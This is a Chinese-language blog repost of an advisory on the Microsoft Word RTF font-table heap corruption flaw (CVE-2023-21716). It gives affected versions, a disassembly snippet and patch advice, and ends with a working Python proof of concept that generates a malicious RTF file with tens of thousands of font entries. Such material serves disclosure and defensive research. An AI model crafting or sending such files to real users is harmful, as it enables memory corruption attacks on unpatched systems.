当前位置:   article > 正文

Microsoft Word 远程代码执行漏洞(CVE-2023-21716)_word2010远程代码执行

word2010远程代码执行

本文转载于:
https://mp.weixin.qq.com/s?__biz=MzI5NTUzNzY3Ng==&mid=2247485476&idx=1&sn=eee5c7fd1c4855be6441b8933b10051e&chksm=ec535547db24dc516d013d3d76097e985aaad7f10f82f15b4e355a97af75fd333acdab6232af&mpshare=1&scene=23&srcid=03132cVLSBcqUx3ZIkRZSiLq&sharer_sharetime=1678687529943&sharer_shareid=e065963f591f1d96b07207551473e96d#rd

免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

漏洞简述

Microsoft Word是Microsoft Office附带的文字处理应用程序。在默认安装中,Microsoft Word处理富文本格式(RTF)文档。这些文档主要由基于7位ASCII的关键字组成,这些关键字一起可以封装各种丰富的内容。
Microsoft Word中的RTF解析器在处理包含过多字体 (\f###) 的字体表 (*\fonttbl *)时会触发堆损坏漏洞。

受影响版本

Microsoft Office 365 (Insider Preview - 2211 Build 15831.20122 CTR)
Microsoft Office 2016 (Including Insider Slow - 1704 Build 8067.2032 CTR)
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007

漏洞信息

堆溢出漏洞产生点在于:Microsoft Word中的RTF解析器在处理字体表(\fonttbl)包含过量字体(\f###)。当处理字体时,字体id值(a \f后面的字符)由以下代码处理:

{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; 
load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; 
load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; 
multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; 
load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; 
write the code page {% endhighlight %}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

漏洞防护

目前微软官方已针对受支持的产品版本发布了修复该漏洞的安全补丁,建议受影响用户开启系统自动更新安装补丁进行防护。

测试Tips

python3

#!/usr/bin/python
#
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#

import sys

# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:
  num = int(sys.argv[1])

f = open("tezt.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):
  f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n")
f.write("}}\n")
f.close()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/107125
推荐阅读
相关标签
  

闽ICP备14008679号